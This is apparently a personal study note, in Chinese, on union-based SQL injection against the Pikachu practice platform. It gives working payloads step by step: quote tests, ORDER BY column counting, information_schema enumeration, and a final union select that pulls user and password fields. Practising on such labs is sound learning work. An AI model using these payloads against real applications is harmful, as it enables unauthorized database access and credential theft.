基于pikachu的sql注入漏洞练习平台演示练习,作为个人学习笔记。
(1)确定注入点
在URL中,参数为name,当输入aa’时报错,当输入aa’‘时正常显示 ,可以判断注入点为name,漏洞类型为字符型。
输入aa’时浏览器返回信息
输入aa’'时浏览器返回信息
(2)确定字段数
只有确定了字段数,才可以使用union这个关键词连接我们自己的查询语句。可以采用order by来确定字段数
输入kobe’ order by 1 # 通过更改数值,直到报错,判断字段数
(3)确定数据库和数据表
==kobe’ union select database(),2 # ==
可以看出数据库名称是pikachu
(4) 确定数据表
我们可以通过mySQL数据库自带的information_schema来知道,这个information_schema就是用来存储mySQL数据库所有信息的数据库。可以看到数据库中有一些数据表
其中有tables数据库,用来存放数据表信息
使用如下语句查询
select table_name,1 from information_schema.tables where table_schema='pikachu';
看到了users表,里面一定有可利用的数据信息
(5)获得数据表中的字段
select column_name,2 from information_schema.columns where table_name=‘users’ and table_schema=‘pikachu’;
看到了username,password字段,就可以利用字段获取数据库里面的用户名和密码了
1’ union select user,password from users #